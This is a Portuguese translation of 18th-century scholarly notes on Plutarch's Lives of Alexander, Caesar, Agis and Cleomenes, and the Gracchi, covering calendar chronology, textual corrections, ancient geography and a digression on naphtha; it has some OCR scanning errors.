Observações sobre as Vidas de Alexandre, César, Tibério e Caio Graco, AGIS E CLEÔMENES

Observações sobre as Vidas de Alexandre, César, Tibério e Caio Graco, AGIS E CLEÔMENES

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OBSERVAÇÕES

SOBRE A VIDA DE ALEXANDRE, O GRANDE

CAP. V, pág. 17. No grego está a palavra hécatombeon. Nós ja dissemos que esse mês ático corresponde, para a maior parte, não ao mês de junho, mas ao de julho; pois começava na lua nova mais próxima do solsticio de verão, antes ou depois do solsticio, segundo o padre Pétau, depois do solsticio, somente, segundo Es-calígero. Assim, se supusermos com Dodwell que no primeiro ano da centésima-segunda olimpíada, o mês ático hécatombeon começou a 14 de julho, 6 do mês de hécatombeon, cairá a 19 de julho; é um duplo erro, que Amyot comete em todas estas circunstâncias, não somente porque ¿le desorganiza as verdadeiras relações dos meses, mas ainda porque, dando data por data, êle supõe um começo imóvel em meses que, sendo lunares, não podiam deixar de ser variáveis como a lua que os regulava. Quanto à comparação dos meses áticos com os meses macedõnios esta matéria esgotou as indagações dos sábios, sem que eles se pudessem pôr de acordo. Nós os vamos apresentar*" ao leitor na ordem estabelecida pelo padre Corsini sem pretender preferi-lo à de Dodwell ou de Pétau.

Meses Áticos

Al a cril i mios

Romanos

Hécatombeon

Lous

Julho

Métageitnion

Gorpiaeus

Agosto

Boédromion

Hyperberelffius

Setembro

Mémactériori

Dius

Outubro

Pyanepsion

Apellaeus

Novembro

Poseidon

Audynaeus

Dezembro

Gainéliun

Peritius

Janeiro

Anthcstérion

Dystrus

Fevereiro

Êlapliébolion

Xunticus

Março

Munichion

Artémisius

Abril

Thargélion

Soirrophorlon

Daésius

Panemua

Maio

Junho

O ano dos macedônios começava com Dius, no equinócio do outono.

CAP. XII, pág. 26. Creio que Amyot é o único que conheceu esta edição da Ilíada chamada la correcte. A palavra grega significa uma espécie de cofrezinho onde se punham perfumes ou drogas medicinais. Entre os móveis preciosos de Dario. Alexandre havia tomado um cofre desse gênero, de ouro. adornado de diamantes, onde êle encerrou, com efeito, o exemplar da Ilíada de Homero, que sempre trazia consigo, segundo o que diz Plínio. 1. VII, cap. XIX. Falaremos desse cofre na continuação desta Vida de Alexandre. Assim, seria preciso traduzir: o exemplar conhecido sob o nome de exemplar do cofre.

CAP. XVII. pág. 33. Não é Medéia quem diz esse verso, citad por Plutarco, e Plutarco não lho atribui absolutamente; êle dl somente que Alexandre citou a Pausânias, esse verso, da tragédia de Medéia. É o 288 da Medéia de Eurípides; está na boca de Créon que diz à Medéia: "Eu sei que na tua cólera tu ameaças castigar este esposo e aquela à qual êle se vai unir e aquele que a entrega aos seus braços". C.

CAP. XXX, pág. 49. Eis o que diz Estrabão com relação a essa passagem: "Perto de Faselis, cidade da Lídia (que Amyot chama Faselina) há uma montanha chamada Clímax (palavra grega que significa escada). Avança para o mar da Panfília. de maneira que aperta bastante a costa, e deixa aos viajantes apenas uma passagem muito estreita. No tempo da calmaria ela está seca. mas quando o mar se enche, ela o cobre com suas águas. Alexandre aí chegou no inverno, com tempo péssimo; preferiu confiar na sorte do que esperar a bonança e a retirada das águas e mandou seus soldados marchar, os quais levaram um dia inteiro para atravessar esse passo, tendo água até o umbigo".

CAP. XXXII, pág. 50. Esta palavra Asgande é desconhecida dos sábios. Astande, que com ela muito se parece, é conhecida por Eustathe e Suidas. Ambos a tomam por uma palavra persa, que significa a mesma coisa que Angare, outra palavra persa que significa uma mensagem. Dario que era. segundo Diodoro de Sicília, de sangue real, não podia sem dúvida ser um simples mensageiro; mas êle bem podia ter sido o que nós chamaríamos superintendente do correio ou ter tido junto do rei Oco, seu predecessor, a jurisdição de seus negócios particulares e de suas ordens secretas.

CAP. LVIII. pág. 81. Deve-se escrever Gaiiganicle, segundo Estrabão e Arrieno. É uma aldeia situada entre o Tigre e o Lico, bastante perto de um outro rio de nome Bumade ou Buinalc a vinte e cinco léguas, mais ou menos, de Arbelas, outra aldeia ou cidadezinha, segundo alguns, situada ao oriente de Gaugamele. entre o Lico e o Caper. Os que lerem em Quinto Cúrcio a descrição das marchas de Alexandre e de Dario, para chegar ao lugar desse combate, julgarão, por essas posições certas, que o historiador latino de Alexandre, conheceu mal a situação dos lugares de que êle fala, ou que a ignorância dos copistas desfigurou-lhe o texto.

Ibid. pág. 81. O mês de agosto é ainda um erro de Amyot. Há no grego boédromion. setembro, segundo o que dissemos nas Observações, no tomo III e na primeira destas Observações sobre a Vida de Alexandre. Plutarco, ou melhor, seus copistas, esqueceram aqui a data do mês. Mas na Vida de Camilo êle diz que a batalha de Arbelas (ela era conhecida por esse nome, embora se tenha realmente travado perto de Gaugamele) deu-se a 26 do mês boédromion. Éle diz aqui que foi no 11.« dia depois do eclipse da lua, que se deu na época da (grande) festa dos Mistérios (de Céres) em Atenas. Começava a 15 do mês de boédromion, segundo Meursio e o padre Pétau. Plutarco está pois de acordo com ele mesmo e sua autoridade, apoiada pelas tabelas astronómicas, citadas pelo padre Pétau. (Doutrina dos tempos. 1. X. cap. 36 colocando o eclipse a 20 de setembro e a batalha a 1." de outubro, parece incontestável -mente preferível à de Arrieno. que põe este combate no mês pyancp-sioh, isto é, de novembro.

CAP. LIX, pág. 81. Nada há que trocar aqui, diga o que disser o sábio Dusoul, no texto de Plutarco, mas somente substituir-se na tradução de Amyot. um nome de rio que não está no grego, pelo de montanha. "Eu não sei, diz Dusoul, porque se traz aqui os montes Nifates e Gordianos. da Armênia, para a Mesopotâmia".

Ninguém, eu creio, encarregar-se-ia de tal incumbência. Devem-se deixá-los no lugar que Estrabão lhes destina. 1. XI, pág. 793. A passagem é clara. A primeira montanha de que êle fala é o monte Tauro, que avança da Capadócia e da Comagena para o oriente. Divide, acrescenta êle. a Armênia, da Mesopotâmia;. Esse parte da cadeia é chamada por alguns de montes Dordiaii". Ele se eleva depois e toma o nome de Nifates. onde está a nascente do Tigre. Eu não tenho necessidade de discutir essa posição da nas cente do Tigre, no que Estrabão e Ptolomeu não estão de amido

Mas fica sempre de pé, segundo o texto, que os montes Gordianos e Nifates prolongam-se e se estendem do ocidente para o orientó, entre a parte meridional da Armênia e a setentrional da Mesopotâmia. Gaugamele está na parte setentrional da Mesopotâmia. Nao se deve pois admirar de que a luz dos inúmeros fogos acesos pela multidão prodigiosa dos bárbaros, iluminasse as montanhas, a várias léguas de distância e o clarão produzisse um espetáculo assustador.

CAP. LXII, pág. 84. Êle era da cidade de Salamina na ilha de Chipre, filho de Acesas, o pai e o filho eram muito famosos na arte do bordado, muito cultivada em Chipre. Atenas nos conservou uma inscrição do templo de Delfos, que mostra o grau de fama a que estes dois artistas tinham chegado. Isto, diz o epigrama, é obra de Helicón de Salamina, filho de Acesas. A imortal Palas depositou em suas mãos todas as graças de sua arte divina. Eus-tato os cita também como os homens mais célebres na arte do bordado. Mas nem um. nem outro nos falam da sua idade.

CAP. LXIV. pág. 88. Eu respeito muito as razões pelas quais o sábio Dusoul pretende que Failo não se encontre entre os vencedores olímpicos. Se êle se tivesse lembrado da quinta cena do primeiro ato dos Acarnianos de Aristófanes, lá teria encontrado precisamente o Failo de que aqui se trata: nas glossas. há um epigrama que nos diz que êle saltava cinqüenta e cinco pés e lançava o disco a noventa e cinco. O Escoliaste diz que êle havia conquistado a vitória nos jogos Olímpicos e Suidas está de acordo com êle. É verdade que Pausânias atribuindo-lhe três vitórias nos jogos Píticos, acrescenta que êle não as havia conquistado nos jogos Olímpicos. Mas êle o concluía, talvez segundo Heródoto, que lhe atribui, com efeito, três vitórias nos jogos Píticos. Ora, Heródoto leu sua história nos jogos Olímpicos, na octogésima-primeira olimpíada e a vitória de Failo pode bem ter sido posterior. O Escoliaste de Aristófanes cita ainda um outro Failo, coroado nos jogos Olímpicos, na oitava olimpíada.

CAP. LXV. pág. 88. A terra nos fornece, bem como os vegetais, matérias inflamáveis. Tais são os diferentes carvões minerais, o azeviche, o âmbar, o asfalto ou betume da Judéia, o pissasfalto e todos os betumes sólidos e líquidos: também as naftas claras e coloridas que se encontram nas quatro partes do mundo, no seio da terra, na areia, muitas vezes escorrendo dos rochedos e principalmente nas vizinhanças dos vulcões, flutuando na superfície de alguns lagos, de fontes e do mar.

Todas estas matérias têm grande relação entre si, <• m<,..uo podemos considerar as primeiras como sendo a origem das segundas. Todos conhecem o carvão de pedra e o azeviche. O âmbar é uma resina vegetal pura, que as antigas revoluções da terra fizeram aprofundar-se nas entranhas dela mesma. Devemos notar que a analogia da árvore que produziu o âmbar, nos é desconhecida, pode ser mesmo que não exista mais; parece ter grande relação com a árvore que produz a goma copal; que esta árvore deve ser originária dos países meridionais e que viveu outrora num clima totalmente oposto àquele onde se encontra hoje o solo da Pomerània e da Prússia ducal, sob os quais está sepultada.

O betume, mais conhecido antigamente é o asfalto ou betume da Judéia; era tirado do lago Asfaltite ou de Sodoma. Havia dele fontes abundantes nas cercanias de Babilônia. Tinha-se tornado objeto de grande comércio. O Egito principalmente fazia dele o material mais importante para seus embalsamamentos. O petróleo que é um betume fluido e menos grosseiro, encontra-se por toda a parte; a nafta é mais rara; todavia pode ser encontrada em Módena e mais abundantemente ainda na superfície do mar nas vizinhanças do Vesúvio, durante as erupções desse vulcão.

A nafta é um betume ou óleo muito fluido. Pode ser mais ou menos colorido, como alguns que leni a leveza, a brancura e a limpidez do espírito de vinho; assim era a nafta de Babilónia e de Ecbátana, tal é ainda a nafta de que fala Kempfer, como testemunha ocular.

"Há na península do mar Cáspio, que se chama Okesva, diz-nos êle. uma pequena planície rodeada de montanhas, a que chamam em linguagem do país o Campo de fogo "CAMPUS ARDENS"; porque, com efeito, dele saem chamas pelas fendas da terra; esse fogo embora invisível de dia, não se manifesta menos, quando se lhe apresentam matérias leves, tênues e muito combustíveis, como o algodão. Encontramos no mesmo campo, betume negro, que corre em vários lugares, quer do seio da terra, quer dos rochedos; enfim, êle fala de um pequeno lago de água salgada, no qual há muito pouca água. A margem ocidental do lago, havia no seu tempo, dois poços, a pouca distância um do outro, nos quais se ajunta por dis-tilação uma nafta muito branca e muito límpida. .’"Este óleo, acrescenta Kempfer, exala um vapor tão sutil que é suficiente aproximar-se a chama de uma lâmpada para que se infli…..

E fora de dúvida que um óleo dessa espécie, já bastante atenuado e volatilizado pelo calor que lhe comunica uma terra incandescente, reduz-se em parte a vapor, desde que venha a ter uma corrente de ar. Pode-se, a este respeito, compará-la ao espírito de vinho, c melhor ainda, ao espírito de terebentina. um pouco aquecido. Como esses líquidos têm sempre uma atmosfera de vapor, esta inflama-se e o fogo comunica-se imediatamente ao líquido; êle se queima então, sobre algum corpo, ao qual adere; assim quando se molha um corpo qualquer no espírito de vinho e dele se aproxima uma chama, o espírito de vinho acende-se e consuma-se no momento. É assim que as crianças fazem com os ratos e os camundongos, quando os apanham; molham-nos em espírito de terebentina e põem fogo. Quando Plutarco então nos refere que se iluminou em Babilônia a rua pela qual Alexandre devia passar para ir ao palácio, queimando de ambos os lados a nafta, e que num instante o fogo que lhe foi dado comunicou-se de uma ponta à outra, êle diz uma coisa muito simples e muito possível.

Há ainda a brincadeira de mau gosto que Antenófanes fêz a Estêvão, na presença de Alexandre: a nafta com a qual esfregou o pagem era certamente muito fluida e volátil; isso se passou num lugar quente, na banheira em que o príncipe se banhava; a simples aproximação de uma chama pôs-lhe fogo e o infeliz jovem ficou queimado e quase sufocado. Uma prova de que a nafta era muito seca e volátil é que puderam apagá-la, o que não se teria podido conseguir se ela tivesse mais consistência e resistência.

Por mais volátil~ leve que seja a nafta, não pode se inflamar senão pela aproximação de outra matéria já inflamada e jamais ao simples contacto do ar, nem pelos raios do sol, por mais quentes que sejam. Até agora só se conhecem o fósforo e os piróforos. que se inflamam ao contacto do ar, mas o tempo, o lugar, o caráter do líquido e as circunstâncias, tudo mostra evidentemente que era a nafta de que Antenófanes se havia servido e não do fósforo, absolutamente, quando mesmo nós o supuséssemos conhecido dos antigos.

Devemos observar que só se encontram petróleo e nafta nas vizinhanças dos terrenos, ou nos terrenos mesmos que se inflamam, ou que outrora foram queimados; em toda a parte onde encontramos a nafta pura. volátil e muito inflamável, pode-se ter certeza de que o fogo está debaixo da terra de onde ela promana; pois êle perde sua leveza e sua volatilidade com o tempo, pelo frio, envelhecendo. É produzido por incandescência subterrânea e pela combustão do betume e do carvão natural, aos quais a nafta deve sua origem.

Esta observação é do meu ilustre confrade Mr. Darcet.

CAP. LXXVIII. pág. 105. Não seria muito de se admirar que antes de Alexandre tivesse havido escritores menos instruídos a este respeito. Houve depois vários, mesmo entre os mais sábios geógrafos, como Estrabão. Pompònio, Mela e outros. Mas antes de Alexandre, Heródoto tinha dito, 1. I. pág. 96, que esse mar não tinha comunicação com o Oceano. No tempo mesmo de Alexandre, Aristóteles tinha escrito e provado no capítulo primeiro do segundo livro do seu tratado dos meteoros. Foram eles seguidos com razão por Arrieno e Diodoro da Sicília. As observações dos modernos viajantes confirmaram-no.

CAP. LXXXII, pág. 110. Há aqui no texto um erro grave. Amyot não lhe podendo dar remédio, preferiu pular as palavras que êle não entendia. Os sábios editores do Plutarco no lugar dessas palavras én tini króno, sem sentido, acharam num manuscrito én Kortánou, e persuadidos, com Mr. Dacier, de que nada se podia concluir, eles substituíram por én Kortakánois, sem se importar se era assim que se devia escrever o nome dessa cidade, ou ãrtákava ou ártikene. Eles todos tinham esquecido de que falando dessa entrevista de Alexandre com Roxana. Quinto Cúrcio, disse, 1. VIII. que aquilo aconteceu no palácio dè um rico sátrapa do país, chamado Cohortano; o que é evidentemente a palavra do manuscrito e a verdadeira palavra que aqui devemos colocar, como o erudito Wesselingue o nota em suas Observações sobre Diodoro da Sicília, 1. XVIII. cap. III, pág. 259.

CAP. LXXXIX, pág. 119. Las que les maeurs de Grece se cor-rompent. Não se pode • compreender a malignidade dessa citação, sem conhecer-se o resto da passagem, que era então conhecida de toda a Grécia, pois as tragédias de Eurípides estavam em todas as bocas: eis aqui o trecho inteiro: "Havia-se estabelecido um muito mau costume na Grécia: quando um exército era vitorioso, por que o chefe recebe a glória, e se esquecem os instrumentos dos seus triunfos? Confundido entre os outros guerreiros, que tem êle mais que os outros, para que dele se fale mais? No entretanto os chefes orgulhosos dão ordens nos conselhos, desprezam seus concidadãos, embora eles mesmos sejam desprezíveis, rodeados por homens superiores em mérito, aos quais só falta querer e ousar". Théâtre des Grecs, Paris, CUSSAC, 1786, t. VI, pág. 472. Andromaque de Eu-ripides, v. 694, e seguintes. C.

CAP. CHI, pág. 136. Ayant ordonné à ceulx qui estoyent à la droitte d’en faire autant de leur costé. Eu corrigi a tradução dessa passagem, segundo a conjetura de Blancard, fundada em Diodoro da Sicília e sobre Arrieno: De Exped. Alex. 1. V. pág. 215, edit. de J. Gronovius. .

Segui ainda na passagem seguinte a correção de Moysés Dusoul, que propõe se leia: éoten dé ten makén anamemigménen eínai, a batalha tendo começado de manhã.

CAP. CIV. pág. 137. Et ayant aussi subjugué les peuples Irancs, etc. Toda essa passagem está mutilada; é muito difícil restaurá-la; mas podemos suprir-lhe as deficiências, por meio de Arrieno: leia-se então: "Mas também acrescentou-lhe muito do país, assim como os povos francos e livres das quais havia até quinze nações, que habitavam em trinta e sete cidades, das quais a menor tinha cinco mil habitantes, e várias tinham mais de dez mil, sem um número infinito de aldeias. Éle tomou ainda um país três vezes tão grande, do qual fêz sátrapa a um de seus familiares que se chamava Felipe". Veja-se ARRIENO. De Expedit. Alex. 1. V, pág. 221, edit. de Gronovius. C.

CAP. CXI, pág. 148. Há sem dúvida aqui algum erro no texto, e é suficiente estarmos avisado disso, sem ser necessário corrigi-lo, porque não temos subsídios. No fim do Cap. CIX, Plutarco fêz Alexandre entrar na Gedrosia, de lá atravessar a Carmânia durante sete dias e ao sair da Carmânia, eis-nos na Gedrosia: esta marcha não é fácil de se conceber.

CAP. CXIII, pág. 151. Isso pode não ser absolutamente contraditório, entre Arrieno*e Quinto Cúrcio. O nome que aí se lé. em Arrieno é Orxines e em Quinto Cúrcio Orsinés; era, diz Quinto Cúrcio um sátrapa poderosamente rico e do sangue de Ciro. Quanto à acusação, segundo Quinto Cúrcio, era pura calúnia do eunuco Bagoas, que subornou testemunhas, para se vingar do desprezo que p sátrapa tinha demonstrado por éle. Pode ser que então depois de sua morte se tenha reconhecido Polímaco. do qual se fala aqui. como verdadeiro culpado e que Alexandre o tenha condenado á morte, como diz Plutarco.

CAP. CXXII, pág. 161. Plutarco vai di/.cr um pouco mala adiante, 28; como é difícil se suspeitar de um erro na última data, é verossímil que aqui se deve ler 28 para se pôr o escritor de acordo com êle mesmo. De resto, há divergência entre os sábios sobre a verdadeira época, não do ano, mas do mês da morte de Alexandre. Padre Pétau que adotou o mês hécatombeon, para salvar-se desta passagem de Plutarco, supõe que o mês daésius variou de posição entre os macedónios, correspondendo, num tempo ao mês de thar-gélion e noutro, ao mês hécatombeon dos áticos. Padre Corsini fá-lo concorrer de uma maneira fixa, com o mês thargélion, e foi o seu sistema que seguimos na comparação que demos dos meses macedónios com os áticos e romanos.

SOBRE A VIDA DE JÚLIO CÉSAR

CAP. XI. pág. 184. Et les Grecs veulent que ce soit celles des meres de Bacchus que I’on n’oze nommer. É provável que essa mãe de Baco que não se ousa nomear, seja Prosérpina, que tivera Baco, de Júpiter, seu próprio pai; o que me leva a crê-lo, é que, quando os antigos falam dessa deusa, com relação aos mistérios de Eleusina, onde esse nascimento de Baco desempenhava, ao que parece um grande papel, eles não a designam senão pelo nome de koré, a filha, e que os autores que escreveram enquanto a religião grega estava em pleno vigor, evitaram cuidadosamente, falar desse nascimento de Baco: o primeiro autor, com efeito, que fala disso, é Cícero, no seu tratado De natura üeorum, 1. III, cap. XXIII. Diodoro da Sicília, disso também diz alguma coisa; 1. III, cap. 64 e 1. IV, cap. IV; mas os que entram em maiores detalhes a este respeito, são os primeiros escritores do cristianismo, como Clemente de Alexandria, em sua exortação aos pagãos; Arnóbio, contra Gentes, 1. IV, pág. 171 e vários outros. Das suas obras depreende-se que Júpiter se transformou em serpente para gozar de sua filha. C.

CAP. XX, pág. 196. Todos os tradutores de Plutarco enganaram-se neste lugar. Mr. Dusoul tem razão em criticar sua interpretação; mas êle teria feito muito melhor ainda dizendo claramente aos seus leitores no que eles se enganaram, o simples soldado de que se trata, é o mesmo Cássio Sceva do qual se tratou algumas linhas acima, mas esta aventura que Plutarco narra em segundo lugar, é anterior, em ordem cronológica; Sceva era centurião no exército de César em Dirráquio. onde êle foi morto, segundo Valério Máximo. Êle era simples soldado na Inglaterra. Veja Val. Máximo 1. III. cap. II.

CAP. XXI. pág. 198. O que Amyot diz aqui das cartas cifradas de César, formadas pela transposição de letras, não está no texto de Plutarco, mas está na verdade da história. Suetônio di-lo expressamente, na Vida de César e nos afirma que essas cartas cifradas consistiam no emprego das mesmas letras do alfabeto, mas de maneira que o D era a primeira e tinha o valor de A e assim por diante todas as demais letras.

CAP. XXX. pág. 208. Tácito entende sob esse nome genérico não somente povos da Germânia, mas ainda habitantes da Sarmácia e da Escandinávia: aqueles de que "aqui se trata são os habitantes do país que hoje se chama a Suábia.

CAP. XL, pág. 223. Não é sem alguma razão que os srs. Bryan e Dusoul atacam aqui o texto de Plutarco e querem introduzir-lhe o nome de Cássio. Mas eu não sei se eles tèm razão em pretender tirar o de Cúrio. Desenvolvamos o fato em poucas palavras, a fim de pormos o leitor em condições de julgar.

Primeiramente Cúrio não era mais tribuno nessa ocasião, tinha-o sido no ano precedente, 704 de Roma, sob o consulado de L. Emílio Paulo, e de C. Cláudio Marcelo, durante o qual êle se havia vendido a César, segundo o testemunho de Suetônio e de Dion Cássio. Ao deixar seu tribunado êle fora juntar-se a César, como diz Dion Cássio, no fim do seu quadragésimo livro. Voltou a Roma, diz o mesmo historiador, no começo do quadragésimo-primeiro livro, no mesmo dia em que os cônsules do ano seguinte 705, Marcelo e Lèntulo entraram em função. Apresentou ao Senado as cartas de César, de que se falou no começo deste capítulo de Plutarco. Esta leitura motivou grande altercação e os tribunos Antônio e Cássio, diz César, (é assim sem dúvida que devemos ler em Diqn em vez de António e Longino) opuseram-se à deliberação. Mas não podendo resistir à superioridade do partido oposto, que acabou por expulsá-los do Senado, fugiram para junto de César, com Cúrio e Cecílio, continua o mesmo Dion; e foi esse mesmo Cúrio acrescenta ainda Dion, a quem César encarregou de fazer a descrição de todo este assunto diante das tropas reunidas em Rímini. O nome de Cúrio não é pois demais aqui, mas falta o de Cássio, a menos que se suponha que Plutarco se enganou a respeito do ano do tribunado de Cúrio, o queé muito possível.

 

CAP. XLVIII, pág. 232. Não foi Amyot que se enganou neste ponto; foi Plutarco, ou melhor algum comentador que pôs essa nota à margem de onde ela passou em seguida para o texto. O mês de janeiro corresponde ao de gamélion. Veja-se a nota anterior, pág. 469.

CAP. LXXVI, pág. 264. O antigo nome do Teverone era Anio e é o que se julga 1er neste trecho. Mas o Anio lança-se no Tibre a très mil passos mais ou menos acima de Roma. O canal de que fala Plutarco, não podia portanto receber o Tibre e o Anio na cidade de Roma. Assim penso eu, com o Mr. Dusoul que é preciso juntar este nome, Anieno, que se toma pelo rio Anio, com a frase precedente e 1er: êle tentou cortar o istmo de Corinto, tendo encarregado Anieno desta empresa e de levar o Tibre por um canal, etc.

Ibid. Se consultarmos Estrabão no livro V, Suetònio, na Vida de César e Celario, pág. 513 e 517, veremos que é Pomencio e Secia que se deve 1er nesse trecho de Plutarco. Mas Plutarco não fala de cidade; e eu acho a cidade de Secia mas não encontro a cidade de Pomencio, mas apenas pântanos, chamados pelos romanos Pomptinae Taludes, nesse lugar da campanha romana onde está hoje Terracina e são os pantanais de que se trata aqui.

SOBRE AS VIDAS DE AGIS E CLEÔMENES

CAP. Ill, pág. 318. Hz ne s»- donnèrent de garde qu’ilz se trouvèrent enveloppez en des a lia ires où Hz ne pouvoyent plus dire ce commun proverbe, etc. Aqui está o texto grego dessa passagem que está muito corrompido e quase ininteligível: élaton apsámenon pragmáton én ois oukét’ en tó, epeí mè kalòn, aikròn, éde to pasastai. Reiske corrige: oúkét’ én tó probenai kalón, aikròn éde tó paúsastai; que se afasta um pouco demais do texto. Encontramos num manuscrito: én ais ouk én eipéin, tõn oúkéti kalõn aikròn éde to mè paúsastai. Parece-me que é muito mais simples de se 1er: én oís oiikét én eípein. mè kalòn oùk aikròn dè tò paúsastai: "eles não se alertaram para não se encontrarem envolvidos em negócios, nos quais já não podiam dizer: Cela n’est pas beau — isso não é belo. mas não há vergonha em se retirar dele". C.

CAP. XI, pág. 328. Parece estranho que o número das pessoas que se reuniam em uma mesma mesa, sendo de quinze mais ou menos, no tempo de Licurgo. como diz Plutarco, na Vida desse legislador e Porfírio, no quarto livro, de abstin, afirme-se aqui em número de duzentos ou quatrocentos e que seja o número das mesas que foi reduzido a quinze. Além disso, lemos no começo do capítulo que o número das sortes ou divisões do território, era de quatro mil e quinhentos. Ora, de qualquer maneira, que combinarmos esses três números 400, 200 e 15 o cálculo será errado, porque se multiplicarmos pelo primeiro, teremos 6.000. e se pelo segundo, 3.000. É pois claro que há aqui uma alteração no texto de Plutarco. Talvez Plutarco tenha escrito: départis en trois cents tables qui seroient de quinze convives chacune, — repartidos em trezentas mesas de quinze convivas cada uma.

CAP. XXI, pág. 343. A Ceada não era uma prisão, mas um precipício onde se lançavam os criminosos, condenados à pena capital. É evidente, pelo que Pausânias conta, da maneira pela qual Aristòmenes escapou e pelo que êle diz, que quando o atiraram, uma águia, voando por cima dele, sustentou-o na queda e impediu que se ferisse, ao cair, o que prova que era um lugar todo aberto por cima. Veja Pausânias, Messéniaques, cap. XVIII, pág. 524. Estrabão, livro VIII, pág. 564. C.

CAP. XLIII. pág. 371. É bem evidente que o nome de Tricca, cidade da Tessália, não pode estar aqui. Mr. Dusoul engana-se, substituindo-o pelo de Triteu, cidade situada entre a Fócida e a Lóerida Ozoliana. Heródoto, Estrabão, Pausânias, Estêvão de Bizâncio teriam podido fazê-lo lembrar-se de uma outra cidade da Acaia, chamada Tritéa, segundo Dyme. Ela era, diz Pausânias. Eliac. II, pág. 481, do número das cidades pouco importantes, que tinham sido reunidas para formar a cidade de Megalópolis. Êle acrescenta, não se encontrará outra cidade com o nome de Tritéa, a não ser esta da Acaia. É portanto desta que se trata certamente neste passo de Plutarco. Os habitantes dela chamavam-se triteanos e os de Triteu, triteenses, segundo Estêvão.

CAP. LXVI, pág. 399. Sonner d’un tambourin parmy son palais pour assembler le monde et faire du basteleur et triacleur. Esta passagem foi mal traduzida por todas, por não terem prestado bem atenção ao significado da palavra ageírein, que quer dizer esmolar, como o faziam os religiosos mendicantes. Veja-se Ruhnkenius, em sua nota sobre o Léxico de Timeu, pág. 9 e 10. Esmolava-se em honra de várias divindades, mas parece que era na Frigia e em honra de Cibele ou mãe dos deuses, que este costume tinha-se originado por primeiro. Os padres consagrados ao seu culto, conhecidos pelo nome de Galli eram os mais célebres mendigos da antiguidade; eles percorriam os vários países com uma imagem da deusa em baixo-relevo, sobre o peito, um tamborim na mão e esmolavam. Como em geral eram muito mais indivíduos, a palavra agürtes ou metregúrtes, esmoler ou esmoler da mãe dos deuses.

tomava-se para se designar os charlatães de todas as espécies. Pode-se ver a descrição de sua maneira de viver em Apuleio, Ane d’or, 1. VIII. pág. 578 e seg., edit. de Oudendorp. Eis como se deve traduzir este trecho: pois o jovem rei estava tão perdido de amor pelas mulheres e pelo vinho, que quando êle era o mais sóbrio, estava em seu juízo perfeito, as maiores das ocupações às quais se entregava, era celebrar os mistérios e esmolar no seu palácio, com um tamborim na mão. C.

SOBRE AS VIDAS DE TIBÉRIO E CAIO GRACO

CAP. XLI, pág. 462. Apiano, no seu primeiro livro das guerras civis, diz que Graco foi ajudado pelo prestígio de Fúlvio Flaco. Mas não é essa a única diferença que encontramos neste trecho da divergência entre Plutarco e Apiano; e não é, o que me parece o mais difícil: ei-la: se o primeiro tribunado de Graco concorreu com o de Metelo e seu segundo tribunado com o de Fânio, como era ainda êle tribuno, quando foi morto por Opímio. cônsul do ano seguinte? As diferenças de época para a nomeação dos cônsules e dos tribunos e para sua entrada em exercício, podem ser suficientes para se resolver esta dificuldade, de uma maneira que concorde com o trecho de Plutarco? Confesso francamente que não sei.

SOBRE A COMPARAÇÃO DE AGIS E CLEÔMENES COM TIBÉRIO E CAIO GRACO

CAP. VIII. pág. 485. Et quant aux objections que l’on fait à Tiberius, la plus griefve est d’avoir fait priver un sien compagnon du tribunat, et que luy mesme en poursuivit un second. Há no texto, ó ti tén sunárxonta tês demarkias ecsébale kai deutéran autos tõ Gais demarkian metee. Amyot pôs auto em lugar de tó Gais; mas eu creio que é preferível adotar a correção de Reiske, que propõe se leia kaí Gaiou óti deutéran autos auto demarkian méteei. "Quanto às censuras que se lhe fazem, a maior das que se fizeram a Tibério, foi de ter feito privar do tribunado um seu companheiro ; para Caio censuram-no de se ter feito decretar a êle mesmo um segundo tribunado". Isso se refere à maneira como Caio Graco, sendo tribuno se fêz nomear tribuno para o ano seguinte. Veja Appien, des Guerres civiles, livro I, cap. XXI. C.

FIM DO VOLUME SÉTIMO


Fonte: Edameris. Plutarco, Vidas dos Homens Ilustres, volume VII. Tradução brasileira de Carlos Chaves com base na versão francesa de de 1616 de Amyot com notas de Brotier, Vauvilliers e Clavier.

 

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